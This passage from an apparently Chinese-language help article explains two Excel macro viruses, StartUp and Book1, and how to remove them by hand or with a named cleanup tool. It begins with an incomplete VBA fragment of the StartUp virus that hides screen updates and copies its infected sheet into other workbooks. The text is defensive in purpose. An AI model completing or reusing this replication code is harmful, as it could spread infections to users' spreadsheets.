On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ =
Workbooks("StartUp.xls").Sheets("StartUp").Copy
before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub
2．book1病毒
book1病毒最明显的标志是打开excel时自动跳出一个book1空文件。
这种病毒和startup病毒工作原理相似，但启动方式不太一样，该病毒会在excel文件中添加和复制一个宏表，利用宏表4。
0程序的auto_open事件启动宏表中的宏代码，进行代码复制，病毒文件创建。
打开中了book1病毒文件，在插入-名称里会出现很多陌生的定义名称，这些都是病毒启动名称。
二、病毒专杀
1．手工专杀
strartup.xls病毒。
首先把宏的安全性设置为最高级，禁止所有宏运行。
然后在电脑中搜索xlstart文件夹，找到后把该文件夹中的strartup.xls文件
删除掉，然后逐个打开已中病毒的文件，按atl+f11打开VBE编辑器。
把含病毒的模块删除掉。
book1病毒。
同样先把宏的安全设置为最高级，然后去xlstart文件夹下删除book1名子的所有文件。
然后打开含病毒代码的excel文件，然后插入--名称--定义。
把陌生的定义名称全删除掉。
然后再写一个小程序显示宏表，把宏表删除掉。
2．专杀工具
常见的宏病毒专杀工具有MacroClean（又名“Office病毒专杀”）是毒霸资深反病毒工程师boom的业余作品，用于解决Book1、Startup、Results、Poppy 等Office常见宏病毒。
杀毒效果还不错。